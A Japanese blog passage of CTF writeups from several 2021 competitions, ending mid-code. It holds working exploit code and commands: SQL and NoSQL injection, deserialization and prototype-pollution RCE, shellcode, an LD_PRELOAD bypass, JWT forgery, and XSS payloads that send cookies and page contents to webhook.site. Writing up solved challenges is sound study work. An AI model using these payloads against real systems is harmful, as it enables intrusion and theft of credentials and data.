st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏

S4CTF 2021 writeup

4/23 - 4/25という日程で開催された。zer0ptsで参加して2位。

[Web] junior-php

&| そして ^ 演算子の左右のオペランドが文字列の場合、その演算は、 文字列を構成する文字の ASCII 値を使って行います。その結果は文字列になります。 それ以外の場合は、左右のオペランドを integer に変換 し、結果も integer になります。

https://www.php.net/manual/ja/language.operators.bitwise.php

PHP 8.0.0 より前のバージョンでは、 未定義の定数は、ちょうどstringとして コールしたかのように(CONSTANT vs "CONSTANT")、 PHPはその定数自体の名前を使用したと解釈していました

https://www.php.net/manual/ja/language.constants.syntax.php

という仕様を使って [A-Za-z0-9] $ = の使用を回避しつつ passthrucat flag* というふたつの文字列を作る。可変関数という機能を使って passthru('cat flag*') が呼び出せる。

import urllib.parse

def encode(s):
  s = [c ^ 0xff for c in s]
  return bytes(s) + b'^' + b'\xff' * len(s)

print(urllib.parse.quote(
  b'(' + encode(b'passthru') + b')(' + encode(b'cat flag*') + b');'
))

San Diego CTF 2021 writeup

5/8 - 5/10の日程で開催された。zer0ptsで参加して1位🎉Discordサーバがスコアサーバという不思議なCTFだった。

[Crypto] Case64AR

問題名からシーザー暗号 + Base64と推測できる。シーザー暗号で回すのは暗号文の方ではなく、Base64のテーブルの方。

import string
import base64
s = 'OoDVP4LtFm7lKnHk+JDrJo2jNZDROl/1HH77H5Xv'

table = string.ascii_uppercase
table += string.ascii_lowercase
table += string.digits
table += '+/'

for i in range(64):
  tr = str.maketrans(table, table[i:] + table[:i])
  print(base64.b64decode(s.translate(tr)))

[Crypto] A Prime Hash Candidate

実装が面倒になったらZ3。

from z3 import *

def hash(data):
  out = 0
  for c in data:
    out *= 31
    out += c
  return out

password = [Int('password_%d' % i) for i in range(17)]
solver = Solver()
for c in password:
  solver.add(ord(' ') <= c, c <= ord('~'))
solver.add(hash(password) == 59784015375233083673486266)

r = solver.check()
m = solver.model()
print(''.join(chr(m[c].as_long()) for c in password))

[Crypto] Lost in Transmission

flag.dat の全てのバイトが偶数でほとんどのバイトが0x80を超えているあたりから、フラグの各文字の文字コードが2倍されているのだなあとエスパーできる。

print(''.join(chr(c // 2) for c in s))

[Web] Apollo 1337

minifyされたコードを頑張って読んでいくと、/api/status?verbose= というAPIエンドポイントがあること、yiLYDykacWp9sgPMluQeKkANeRFXyU3ZuxBrj2BQ がなんらかのトークンとして使えることがわかる。

f:id:st98:20210616115954p:plain

/api/status?verbose=abc/status のほかにもAPIエンドポイントがあることがわかる。

{"status":"health","longStatus":"Healthy. All routes are functioning properly.","version":"1.0.0","routes":[{"path":"/status","status":"healthy"},{"path":"/rocketLaunch","status":"healthy"},{"path":"/fuel","status":"healthy"}]}

/rocketLaunch が怪しい。エラーメッセージなどから頑張ってAPIの使い方を探っていく。

$ curl "https://space.sdc.tf/api/rocketLaunch" -H "Content-Type: application/json" -d '{}'
rocket not specified
$ curl "https://space.sdc.tf/api/rocketLaunch" -H "Content-Type: application/json" -d '{"rocket":""}'
rocket not recognized (available: triton)
$ curl "https://space.sdc.tf/api/rocketLaunch" -H "Content-Type: application/json" -d '{"rocket":"triton"}'
launchTime not specified
$ curl "https://space.sdc.tf/api/rocketLaunch" -H "Content-Type: application/json" -d '{"rocket":"triton","launchTime":""}'
launchTime not in hh:mm format
$ curl "https://space.sdc.tf/api/rocketLaunch" -H "Content-Type: application/json" -d '{"rocket":"triton","launchTime":"00:00"}'
launchTime unapproved
$ for m in {0..60}; do echo -en "$m: "; curl "https://space.sdc.tf/api/rocketLaunch" -H "Content-Type: application/json" -d '{"rocket":"triton","launchTime":"12:'$(printf "%02d" $m)'"}'; echo; done
0: fuel pumpID not specified
1: launchTime unapproved
2: launchTime unapproved
3: launchTime unapproved
4: launchTime unapproved
5: launchTime unapproved
6: launchTime unapproved
7: launchTime unapproved
8: launchTime unapproved
9: launchTime unapproved
$ curl "https://space.sdc.tf/api/rocketLaunch" -H "Content-Type: application/json" -d '{"rocket":"triton","launchTime":"12:00","pumpID":4}'
frontend authorization token not specified
$ curl "https://space.sdc.tf/api/rocketLaunch" -H "Content-Type: application/json" -d '{"rocket":"triton","launchTime":"12:00","pumpID":4,"token":"yiLYDykacWp9sgPMluQeKkANeRFXyU3Zux
Brj2BQ"}'
rocket launched. sdctf{0ne_sM@lL_sT3p_f0R_h@ck3r$}

[Web] GETS Request

/prime?n[toString]=12 で以下のようなエラーが出ることから、Node.js + Expressが使われていることがわかる。

TypeError: Cannot convert object to primitive value
    at /app/index.js:26:33
    at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5)
    at next (/app/node_modules/express/lib/router/route.js:137:13)
    at Route.dispatch (/app/node_modules/express/lib/router/route.js:112:3)
    at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5)
    at /app/node_modules/express/lib/router/index.js:281:22
    at Function.process_params (/app/node_modules/express/lib/router/index.js:335:12)
    at next (/app/node_modules/express/lib/router/index.js:275:10)
    at expressInit (/app/node_modules/express/lib/middleware/init.js:40:5)
    at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5)

ということは ?n[]=… で文字列と配列を混同させることができるのではないか。適当にいじっていたらフラグが得られた。

$ curl -g "https://gets.sdc.tf/prime?n[]=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
buffer overflow! sdctf{B3$T_0f-b0TH_w0rLds}

[Web] Git Good

問題名からGitネタだなあと推測できる。rip-git.pl/.git をダウンロードして objects/ 下のファイルを展開していくと、/secret.flag にフラグがあることがわかる。

/* (snip) */
// gotta make sure we don't leak important stuff!
app.all('/users.db', (req, res) => res.sendStatus(403))
app.all('/secret.flag', (req, res) => res.sendStatus(403))
app.all('/app.js', (req, res) => res.sendStatus(403))

// lastly, include all of our assets with zero side effects! :)
app.use(express.static('.'))
/* (snip) */

/secret.flag は弾かれるが、//secret.flag は通った。

$ curl --path-as-is "https://cgau.sdc.tf//secret.flag"
sdctf{1298754_Y0U_G07_g00D!}

[Misc] No flag for you

使えるコマンドは制限されているが、echo opt/*ls opt/ の、echo $(<filename)cat filename の代わりになることを使えばフラグが得られる。

$ nc noflag.sdc.tf 1337
There is no flag here.
rbash$ ls
README
bin
opt
rbash$ cat README
Hahahahahaha!

Welcome to the most restrictive shell ever. Don't even try to escape this.
rbash$ echo opt/*
opt/flag-b01d7291b94feefa35e6.txt
rbash$ cat opt/flag-b01d7291b94feefa35e6.txt
No flag for you!
rbash$ echo $(<opt/flag-b01d7291b94feefa35e6.txt)
sdctf{1t'5_7h3_sh3ll_1n_4_shEll}

m0leCon CTF 2021 Teaser writeup

5/15 - 5/16という日程で開催された。zer0ptsで参加して7位。

[Web] m0lefans

ユーザごとに別のサブドメインが用意されるInstagram的なSNSが与えられるので、adminのサブドメインを特定し、adminのフォロワーしか読めない記事をなんとかして読めという問題だった。

まずはadminのサブドメインを特定する方法。画像のアップロードができるエンドポイントは各ユーザごとに発行されたサブドメイン下ではなく、共通の https://m0lecon.fans/feed/create だった。CSRF対策もされていないので、以下のようにCSRFでadminに好きな画像をアップロードさせることができる。

<form method="POST" enctype="multipart/form-data" action="https://m0lecon.fans/feed/create" id="form">
  <input type="text" name="description" value="ok">
  <input type="file" name="file" id="up">
  <input type="submit" value="Publish" id="go">
</form>
<script>
(async () => {
const form = document.getElementById('form');
const up = document.getElementById('up');

const content = await fetch('computer_memory.png').then(resp => resp.blob());

const blob = new Blob([content], { type: "image/png"}); 
const filename = 'payload_' + Math.random() + '.png';
const file = new File([blob], filename);

const dt = new DataTransfer();
dt.items.add(file);
const list = dt.files;

up.files = list;

const go = document.getElementById('go');
go.click();
})();
</script>

ファイル名は拡張子だけが保持されてリネームされ、アップロードされた画像は <div class="row image" style="background-image: url(https://m0lecon.fans/static/media/posts/09a18c96-f438-458d-89ad-9edd32ee2c27.(拡張子)"></div> のようにCSSを使って表示される。ここでCSS Injectionができ、拡張子を );content:url('http:example.com.com'); のようにしてやると、example.com から画像が読み込まれる。この際送られてきたHTTPリクエストを見ると、リファラy0urmuchb3l0v3d4dm1n.m0lecon.fans とadminのサブドメインが入っていた。

adminにフォローリクエストを送っても無視される。フォローリクエストの承認が行われるエンドポイントはadminのサブドメイン下にあるが、こちらもCSRFでなんとかできる。

<form method="POST" enctype="multipart/form-data" action="https://y0urmuchb3l0v3d4dm1n.m0lecon.fans/profile/request" id="form">
  <input type="text" name="id" value="72">
  <input type="submit" value="Accept" id="go">
</form>
<script>
const go = document.getElementById('go');
go.click();
</script>

[Web] Waffle

WAF Bypass + 同じ名前のキーが二度出現するJSONの解釈の問題 + SQL Injection。まずs1r1usさんが /gettoken%3fcreditcard=asdf&promocode=FREEWAF で、Python側では FREEWAF までが path と解釈され、バックエンドのGolang側では creditcard=asdf&promocode=FREEWAF 部分はGETパラメータとして解釈されるために、WAFをバイパスしてトークンを発行させられることを見つけた。

@app.route('/', defaults={'path': ''}, methods=['GET'])
@app.route('/<path:path>', methods=['GET'])
def catch_all(path):
    print(path, unquote(path))
    
    if('gettoken' in unquote(path)):
        promo = request.args.get('promocode')
        creditcard = request.args.get('creditcard')

        if promo == 'FREEWAF':
            res = jsonify({'err':'Sorry, this promo has expired'})
            res.status_code = 400
            return res

        r = requests.get(appHost+path, params={'promocode':promo,'creditcard':creditcard})

    else:
        r = requests.get(appHost+path)
    
    headers = [(name, value) for (name, value) in r.raw.headers.items()]
    res = Response(r.content, r.status_code, headers)
    return res

バックエンドのGolang側には name 経由でのSQLiがある。Python側では以下のように name がalnumであるかどうかチェックしているが、 {"name":"a\u0027","name":"123"} という風に name というキーが二度出現するJSONを渡してやると、JSONのパース時にPython側では後者を、Golang側では前者を name の値とするためにバイパスできる。

    if 'name' in j:
        x = j['name']
        if not isinstance(x, str) or not x.isalnum():
            badReq = True

あとはSQLiするだけ。

$ curl --path-as-is "http://waffle.challs.m0lecon.it/search" -b "token=LQuKU5ViVGk4fsytWt9C" -H "Content-Type: application/json" -d '{"min_radius":0,"max_radius":0,"name":"a\u0027 union select 1, 2, 3, (select flag from flag) union select name, radius, height, img_url from waffle where name = \u0027","name":"123"}'
[{"name":"1","radius":2,"height":3,"img_url":"ptm{n3ver_ev3r_tru5t_4_pars3r!}"}]

JSONネタ関連の記事や過去問:

OMH 2021 CTF writeup

5/15 - 5/16という日程で開催された。zer0ptsで参加して5位。

[Misc] Linker Chess

以下のように、hello.c は編集できないけどリンカースクリプトは編集できるのでなんとかしてシェルを起動させろという問題。

#!/bin/sh
set -ev
sed '/^EOF/Q' > script.ld
cat > hello.c << EOF
#include <stdio.h>
#include <stdlib.h>

int main() {
    printf("Hello, world!\n");
    exit(0);
}
EOF

gcc -c hello.c -o hello.o
ld -T script.ld hello.o -o hello /usr/lib/x86_64-linux-gnu/libc.so -dynamic-linker /lib64/ld-linux-x86-64.so.2
./hello

実は既出ネタ。Hello, world!の代わりにシェルコードを仕込もう。

OUTPUT_FORMAT("elf64-x86-64", "elf64-x86-64", "elf64-x86-64")
OUTPUT_ARCH(i386:x86-64)
ENTRY(main)

SECTIONS
{
  . = 0x400000;
  .text : {
    main = .;
    BYTE(0x6a);BYTE(0x68);BYTE(0x48);BYTE(0xb8);BYTE(0x2f);BYTE(0x62);BYTE(0x69);BYTE(0x6e);BYTE(0x2f);BYTE(0x2f);BYTE(0x2f);BYTE(0x73);BYTE(0x50);BYTE(0x48);BYTE(0x89);BYTE(0xe7);BYTE(0x68);BYTE(0x72);BYTE(0x69);BYTE(0x1);BYTE(0x1);BYTE(0x81);BYTE(0x34);BYTE(0x24);BYTE(0x1);BYTE(0x1);BYTE(0x1);BYTE(0x1);BYTE(0x31);BYTE(0xf6);BYTE(0x56);BYTE(0x6a);BYTE(0x8);BYTE(0x5e);BYTE(0x48);BYTE(0x1);BYTE(0xe6);BYTE(0x56);BYTE(0x48);BYTE(0x89);BYTE(0xe6);BYTE(0x31);BYTE(0xd2);BYTE(0x6a);BYTE(0x3b);BYTE(0x58);BYTE(0xf);BYTE(0x5);
  }
}

[Web, Crypto] Hotlinker

ジャバ。jarJava Decompilerに投げてやるとデコンパイルできる。BOOT-INF/classes/ctf/tfns/hotlinker/webui/upload/UploadService.java を見るとどうやらURLのホスト名部分が localhost でないか確認しているようだが、127.0.0.2 とかでバイパスできる。

/*     */   private boolean notLocalhost(URL hostPart) throws MalformedURLException {
/*  83 */     return !hostPart.equals(new URL(hostPart.getProtocol() + "://localhost"));
/*     */   }

http://127.0.0.2:18080/actuator/heapdump から暗号化されたフラグを含むヒープダンプが得られる。これはEclipseのMemory Analyzerで解析できる。フラグはLCGを使って暗号化されていて、関連するパラメータもヒープダンプに含まれている。ふるつきさんに投げると一瞬でフラグが返ってきた。すごい。

3kCTF-2021 writeup

5/15 - 5/17という日程で開催された。zer0ptsで参加して3位。

[Web 425] online_compiler (30 solves)

PHPのセッションは大体 /tmp/sess_(セッションID) みたいに session.​save_path 下にファイルとして保存されることを使う。まず以下のコードで /El_FlAAG___FilEE の存在がわかる。実行するOSコマンドを cat /*FlAAG* に変えるとフラグ。

function save(code) {
  return $.post("http://" + location.hostname + ":5000/save", {
    c_type: "php", code
  });
}

function compile(c_type, filename) {
  return $.post("http://" + location.hostname + ":5000/compile", {
    c_type, filename
  });
}

let path1 = await save(`<?=session_id('poyo0py');session_start();$a='import os;os.system("ls /")#';`);
let path2 = await save(`<?=require('${path1}');$_SESSION[$a]=1;session_close();`);
console.log(path1, path2);
console.log(await compile('php', path2));
console.log(await compile('python', '../../../tmp/sess_poyo0py'));

[Web 438] Emoji (25 solves)

以下のコードを見るとGitHub3kctf2021webchallenge/downloader というリポジトリからしか取ってこれないように思えるが、$page../../../… を仕込んでやると好きなリポジトリから取ってこさせることができる。

        function fetch_and_parse($page){
                $a=file_get_contents("https://raw.githubusercontent.com/3kctf2021webchallenge/downloader/master/".$page.".html");
                preg_match_all("/<img src=\"(.*?)\">/", $a,$ma);
                return $ma;
        }

ということで、以下の手順でフラグが得られる。

  1. <img src="$(cat index.php | curl https://webhook.site/...?test -Ff=@-)"> みたいな内容のHTMLをGitHubのプライベートリポジトリに上げる
  2. /?dir=../../../st98/sandbox-private/master/test.html?token=(トークン)%23 みたいな感じのURLにアクセスするとペイロードが署名される
  3. 生成されたリンクにアクセスするとOS Command Injectionが発火

[Web 478] p(a)wnshop (9 solves)

まず以下のnginxのフィルターをバイパスして /backend/admin.py を叩く必要があるが、これは /backend/%2561dmin.py でなんとかできた(なんで?)。

    location ~admin {
        auth_basic "pawnshop admin";
        auth_basic_user_file /etc/nginx/.htpasswd;
    }

admin.py にはNoSQL Injection(Elasticsearch)がある。正規表現でがんばろう。

import ssl
import urllib.parse
import http.client
import string

def query(q):
  payload = f'" AND id:5 AND value:/{q}/ AND "@pawnshop.2021.3k.ctf.to'
  conn = http.client.HTTPSConnection("pawnshop.2021.3k.ctf.to", 4443, context=ssl._create_unverified_context())
  conn.request('POST', '/backend/%2561dmin.py', 'action=lookup&mail=' + urllib.parse.quote(payload))
  res = conn.getresponse().read()
  print('[debug]', q, res)
  return b'not found' not in res

table = ''
table += '_-'
table += string.ascii_lowercase
table += string.ascii_uppercase
table += string.digits
table += '.'

known = 'http2_'
while True:
  for c in table:
    if query(known + c + '.*'):
      known += c
      break
  print(known)

TSG Live! CTF 6 writeup

[Web] Truth about Pi

lodash.get4.4.2 では __proto__ にもアクセスできる。''.__proto__.length0

curl 'http://chal.hakatashi.com:10043/' -H 'Content-Type: application/x-www-form-urlencoded' --data-raw 'index=__proto__.length'

[Rev] decompile me

Brainf*ckが実行ファイル(ELF)にコンパイルされてしまった。出力されたELFは objdump -d bf ではなぜか逆アセンブルできないので objdump -D -b binary -m i386:x86-64 -M intel bf > bf.s で無理やり逆アセンブルする。続いて雑にデコンパイル

with open('bf.s') as f:
  s = f.read()
  s = s[s.index('d2:'):s.index('25f1:')]
  s = s.splitlines()

s = iter(s)
res = []
jmps = {}

def find(dst):
  for i, x in enumerate(res):
    if x[0] == dst:
      return i
  return None

line = next(s)
try:
  while True:
    cur = line.split()[0][:-1]
    if 'rax,0x1' in line:
      next(s)
      next(s)
      next(s)
      next(s)
      res.append([cur, '.'])
    elif 'rax,0x0' in line:
      next(s) # mov rdi, ...
      next(s) # mov rsi, rbx
      next(s) # mov rdx, 1
      next(s) # syscall
      res.append([cur, ','])
    elif 'inc    rbx' in line:
      res.append([cur, '>'])
    elif 'dec    rbx' in line:
      res.append([cur, '<'])
    elif 'mov    al,BYTE PTR [rbx]' in line:
      line = next(s)
      if 'inc    al' in line:
        next(s)
        res.append([cur, '+'])
      elif 'dec    al' in line:
        next(s)
        res.append([cur, '-'])
      else:
        res.append([cur, ''])
        jmp = next(s).split()
        cur = jmp[0][:-1]
        res.append([cur, ''])
        cmp = jmp[-2]
        dst = jmp[-1][2:]
        if cmp == 'je':
          pass
        elif cmp == 'jne':
          pass
        jmps[dst] = cmp
    line = next(s)
except:
  pass

code = ''
for addr, inst in res:
  if addr in jmps:
    code += ']['[jmps[addr] == 'jne']
    del jmps[addr]
  code += inst

print(code)

出力されたBFコードをよく見ると、文字入力(,)の前に [<->-]<[<+>[-]]<> というコードがほぼ必ずくっついていることがわかる。よくわからないけど、これを削除した上で文字入力を文字出力に変えてやるとフラグが得られる。

console.log(a = `>>+++++++[<++++++++++++>-]<[<->-]<[<+>[-]]<>,>>+++++++[<++++++++++++>-]<-[<->-]<[<+>[-]]<>,>>+++++++[<++++++++++>-]<+[<->-]<[<+>[-]]<>,>>+++++++[<+++++++++++>-]<-[<->-]<[<+>[-]]<>,>>++++++++[<+++++++++>-]<+[<->-]<[<+>[-]]<>,>>+++++++[<++++++++++++>-]<++[<->-]<[<+>[-]]<>,>>+++++++[<++++++++++>-]<-[<->-]<[<+>[-]]<>,>>+++++++++++[<+++++++++++>-]<++[<->-]<[<+>[-]]<>,>>+++++++[<+++++++++>-]<-[<->-]<[<+>[-]]<>,>>++++++[<+++++++>-]<+[<->-]<[<+>[-]]<>,>>++++++[<+++++++>-]<+[<->-]<[<+>[-]]<>,>>++++++[<+++++++>-]<+[<->-]<[<+>[-]]<>,>>++++++[<+++++++>-]<+[<->-]<[<+>[-]]<>,>>++++++[<+++++++>-]<+[<->-]<[<+>[-]]<>,>>++++++[<+++++++>-]<+[<->-]<[<+>[-]]<>,>>++++++[<+++++++>-]<+[<->-]<[<+>[-]]<>,>>+++++++[<+++++++++++++>-]<[<->-]<[<+>[-]]<>,>>++++++[<++++++++++>-]<[<->-]<[<+>[-]]<>,>>++++++[<+++++++>-]<+[<->-]<[<+>[-]]<>,>>++++++[<+++++++>-]<+[<->-]<[<+>[-]]<>,>>++++++[<+++++++>-]<+[<->-]<[<+>[-]]<>,>>++++++[<+++++++>-]<+[<->-]<[<+>[-]]<>,>>++++++[<+++++++>-]<+[<->-]<[<+>[-]]<>,>>++++++[<+++++++>-]<+[<->-]<[<+>[-]]<>,>>++++++[<+++++++>-]<+[<->-]<[<+>[-]]<>,>>++++++[<+++++++>-]<+[<->-]<[<+>[-]]<>,>>++++++[<+++++++>-]<+[<->-]<[<+>[-]]<>,>>++++++[<+++++++>-]<+[<->-]<[<+>[-]]<>,>>++++++[<+++++++>-]<+[<->-]<[<+>[-]]<>,>>++++++[<+++++++>-]<+[<->-]<[<+>[-]]<>,>>+++++++[<+++++++++>-]<-[<->-]<[<+>[-]]<>,>>+++++[<+++++++++>-]<[<->-]<[<+>[-]]<>,>>+++++++[<+++++++++++++>-]<++[<->-]<[<+>[-]]<>,>>++++++[<++++++++++>-]<[<->-]<[<+>[-]]<>,>>++++++[<+++++++>-]<+[<->-]<[<+>[-]]<>,>>+++++++++[<++++++++++++++>-]<-[<->-]<[<+>[-]]<>+<[>->>++++++[<+++++++++++++>-]<.>>+++++++[<++++++++++>-]<+.>>++[<+++++>-]<.<<<<[-]]>[->++++++++[<++++++++++>-]<-.>>+++++[<+++++++++++++++>-]<.>>++[<+++++>-]<.>]`.replaceAll('[<->-]<[<+>[-]]<>', '').replaceAll(',', '.'))

Zh3r0 CTF V2 writeup

6/4 - 6/6という日程で開催された。zer0ptsで参加して1位🎉

[Web] sparta

node-serialize というライブラリの脆弱性を使うとRCEできる。

$ curl -X POST -i http://web.zh3r0.cf:6666/guest -b "guest=eyJ1c2VybmFtZSI6Il8kJE5EX0ZVTkMkJF9mdW5jdGlvbiAoKXtyZXR1cm4gcmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWNTeW5jKCdjYXQgL2ZsYWcudHh0Jyk7fSgpIn0="
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 152
ETag: W/"98-wa7FnPEe8H/xgAxndfDMHqagFhM"
Date: Fri, 04 Jun 2021 10:46:39 GMT
Connection: keep-alive
Keep-Alive: timeout=5

Hello zh3r0{4ll_y0u_h4d_t0_d0_w4s_m0v3_th3_0bjc3ts_3mper0r}

[Web] bxxs

Blind XSS。次のペイロードhttp://0.0.0.0:8080/Secret_admin_cookie_panel というパスにXSSがあることがわかる。/Secret_admin_cookie_panel にアクセスした後に /flag にアクセスしたらフラグが得られた記憶があるんだけど、詳しくは覚えていない。

<script>(async()=>{navigator.sendBeacon('https://webhook.site/...',location.href)})()</script>

[Web] Flags

こんな感じのCSPがある中でHTML Injectionができる。script-src はあるが、default-srcstyle-src もないのでCSSでフラグを読み出す。

        <meta http-equiv='Content-Security-Policy' content="script-src 'nonce-56b1e164d7ad85bd42b50fec2c59d2b5d680cbc84b45a8069a30aba8528f0df030aa431126513432a58d98a437cd834e1cc67cb474ba01364960602e9e1edaf0'; object-src 'none'; base-uri 'none'require-trusted-types-for 'script'; frame-src 'none'">

読み出したいものは input の属性値なので input[value^=...] { background: url(...); } みたいな単純なペイロードでなんとかなる。

[Web] Original Store

XSS botjavascript: スキームも受け付けてしまうので、開かれているWebサイトのコンテキストで好きなJavaScriptコードを実行させることができる。javascript:location.href=['https://webhook.site/...?',document.cookie]PHPSESSID が得られる。

[Web] Original Store v2

ログイン画面から /api/ というディレクトリの存在がわかる。アクセスするとディレクトリのインデックスが表示されるが、そのうち /api/v1/authorize.php はログイン中のアカウントのユーザ名とパスワードをJSONで返す。XSS botCookieをリークしなくなったけど、javascript: スキームは相変わらず受け付けるので、さっきのAPIを使ってadminのユーザ名とパスワードを奪う。CORSをなんかアレするのが想定解法だったらしい。

javascript:(async()%3D>{location.href=['https://webhook.site/...?',encodeURIComponent(await(await fetch('/api/v1/authorize.php')).text())]})()

Pwn2Win CTF 2021 writeup

5/29 - 5/31という日程で開催された。uuunderflowで参加して2位。

[Web] Illusion

サーバサイドのPrototype Pollution + EJSのgadgetでRCE。

$ curl --basic -u admin:isummlngdhhvwyge "http://illusion.pwn2win.party:28315/change_status" -H "Content-Type: application/json" -d '{"constructor/prototype/outputFunctionName":"x;return process.mainModule.require(`child_process`).execSync(`/readflag`);x"}'
{"status":"online","cameras":"online","doors":"online","dome":"online","turrets":"online"}
$ curl --basic -u admin:isummlngdhhvwyge "http://illusion.pwn2win.party:28315"
CTF-BR{d0nt_miX_pr0totyPe_pol1ution_w1th_a_t3mplat3_3ng1nE!}

Prototype Pollution周りで便利な記事など:

[Web] HackUs

CodiMD 2.4.1の0day問。Mermaid 8.6.4が使われているのでPrototype Pollutionができ、ほかのライブラリ(例えばjQuery)のgadgetを使えばJavaScriptコードの実行に持ち込める。ただし、CSPが厳しいので過去問のwriteupを参考にGoogle Tag Managerを使ってバイパスする。

[Web] Small Talk

shvlのPrototype Pollution + s1r1usさんとPOSIXさんが見つけたPopperJSのgadgetでなんとかした。

<body>
  <style>
  iframe {
    width: 300px;
    height: 200px;
  }
  </style>
  <img src="http://httpstat.us/200?sleep=100000">
  <img src="https://webhook.site/...?start">
  <script>
  let f = false;

  function go(url) {
    const iframe = document.createElement('iframe');
    iframe.src = url;
    iframe.onload = () => {
      if (!f) {
        navigator.sendBeacon('https://webhook.site/...','check');
        f = true;
      }
      iframe.contentWindow.postMessage(JSON.stringify({
        'a.__proto__.arrow': {
          "onfocus": "navigator.sendBeacon('https://webhook.site/...',document.cookie)",
          "style": "position:fixed;z-index:9;left:0;top:0;width:100px !important;height:100px !important;background:red",
          "contenteditable": true,
          "id": "hoge",
          "class": "fuga"
        },
        b: 123
      }), '*');

      setTimeout(() => {
        iframe.onload = () => {};
        iframe.src += '#hoge';
      }, 10);
    };
    document.body.appendChild(iframe);
  }
  for (let i = 0; i < 10; i++) {
    go('https://small-talk.coach:1337');
  }
  </script>
</body>

[Pwn] C'mon See my Vulns

PHP向けのオリジナルのライブラリにある脆弱性を探す問題のはずが、disable_functions がゆるゆるだったために既知のバイパステクでOSコマンドの実行に持ち込めてしまった。まず適当な共有ライブラリを作る。

// gcc -shared a.c -o a.so
#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
#include <stdlib.h>

uid_t getuid(void){
    unsetenv("LD_PRELOAD");
    system("/opt/readflag | curl https://webhook.site/... --data-binary @-");
    return 1;
}

putenv('LD_PRELOAD=...') + mail で差し替えた getuid が呼ばれる。

{{file_put_contents('poyoyon.so',file_get_contents('http://.../a.so'))}}
{{putenv('LD_PRELOAD=./poyoyon.so')&&mail('','','')}}

disable_functions バイパス周りで便利な記事など:

open_basedir バイパス周りで便利な記事など:

BCACTF 2.0 writeup

6/11 - 6/14という日程で開催された。zer0ptsで参加して3位。

[webex 200] Regular Website (87 solves)

Webexと聞くとCiscoを思い出してしまうけど、こちらのwebexはweb exploitationの略。XSS botのコードはこんな感じ:

    const sanitized = text.replace(/<[\s\S]*>/g, "XSS DETECTED!!!!!!");
    const page = await (await browser).newPage();
    await page.setJavaScriptEnabled(true);
    try {
        await page.setContent(`
        <!DOCTYPE html>
        <html>
            <head>
                <meta charset="utf-8">
                <title>Comment</title>
            </head>
            <body>
                <p>Welcome to the Regular Website admin panel.</p>
                <h2>Site Stats</h2>
                <p><strong>Comments:</strong> ???</p>
                <p><strong>Flag:</strong> ${flag}</p>
                <h2>Latest Comment</h2>
                ${sanitized}
            </body>
        </html>
        `, {timeout: 3000, waitUntil: "networkidle2"});
    } catch (e) {
        console.error(e);
        ctx.status = 500;
        ctx.body = "error viewing comment";
        await page.close();
        return;
    }
    ctx.body = `The author of this site has ${verbs[Math.floor(Math.random() * verbs.length)]} your comment.`;
    await page.close();

const sanitized = text.replace(/<[\s\S]*>/g, "XSS DETECTED!!!!!!"); ですべてのHTMLタグが削除されてしまうように思えるが、> で閉じなければ回避できる。<img src=x onerror="navigator.sendBeacon('https://webhook.site/…',document.body.innerHTML)" でフラグが得られる。

[webex 300] L10N Poll (46 solves)

JWT + Path Traversal問。署名の検証に使用するアルゴリズムはチェックされていないから、ヘッダの algRS256 から HS256 に変えてやるとRS256の公開鍵がHS256の秘密鍵として使われてしまう。公開鍵は以下の手順で得られる。

$ curl -i http://web.bcactf.com:49159/localization-language -H "Content-Type: application/json" -d '{"language":"key"}'
HTTP/1.1 302 Found
Set-Cookie: lion-token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJsYW5ndWFnZSI6ImtleSIsImlhdCI6MTYyMzU2NTIyOH0.CB59-6L-El9vzpP7EOSGEmi5d7b2QOM74hGNHoTNis9ewlbqHIR_Nj1ZOwXnJVwaRgZpdHGV2DcCCcOC9Uaa7eTIL65Bcpb92ykEQMKqSNHA6_qaS48he6WmmFNWflIV1Uc53JpVHFwzZ-o8Ck1oyU2CGGTaAzGdRXaZlsBjMts; path=/; httponly
Location: /
Content-Type: text/html; charset=utf-8
Content-Length: 33
Date: Sun, 13 Jun 2021 06:20:28 GMT
Connection: keep-alive
Keep-Alive: timeout=5

Redirecting to <a href="/">/</a>.
$ curl http://web.bcactf.com:49159/localisation-file -b "lion-token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJsYW5ndWFnZSI6ImtleSIsImlhdCI6MTYyMzU2NTIyOH0.CB59-6L-El9vzpP7EOSGEmi5d7b2QOM74hGNHoTNis9ewlbqHIR_Nj1ZOwXnJVwaRgZpdHGV2DcCCcOC9Uaa7eTIL65Bcpb92ykEQMKqSNHA6_qaS48he6WmmFNWflIV1Uc53JpVHFwzZ-o8Ck1oyU2CGGTaAzGdRXaZlsBjMts"
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCRaHtUpvSkcf2KCwXTiX48Tjxf
bUVFn7YimqGPQbwTnE0WfR5SxLK/DH0os9jCCeb7pJ08AbHFBzQNUfbg47xI3aJh
PMdjL/w3iqfc56C7lt59u4TeOYc7kguph/GTYDPDZkgtbkFJmbkbg9MvV723U1PW
M7N2P4b2Xf3p7ZtaewIDAQAB
-----END PUBLIC KEY-----

{"language": "flag.txt","iat": 1623565107} というデータをJSON Web Tokens - jwt.ioで署名してCookieにセットするとフラグが得られる。

$ curl http://web.bcactf.com:49159/localisation-file -b "lion-token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsYW5ndWFnZSI6ImZsYWcudHh0IiwiaWF0IjoxNjIzNTY1MTA3fQ.UY-gbngKIaPZgCVsmCUYfkQVcU365AMICv3WvOwsnec"
bcactf{je_suis_desole_jai_utilise_google_translate_beaucoup_dfW78ertjk}

JWT周りで便利な記事やツール:

[webex 400] Stylish (28 solves)

CSS Injection。読み出したいテキストは input 要素の属性値などではないが、[0-9A-F] と使われる文字種は決まっているし、どの文字も一度しか出現しないので @font-faceunicode-range を使う手法で読み出せる。

// ペイロード作るやつ
var payload = '';
for (const c of '0123456789ABCDEF') {
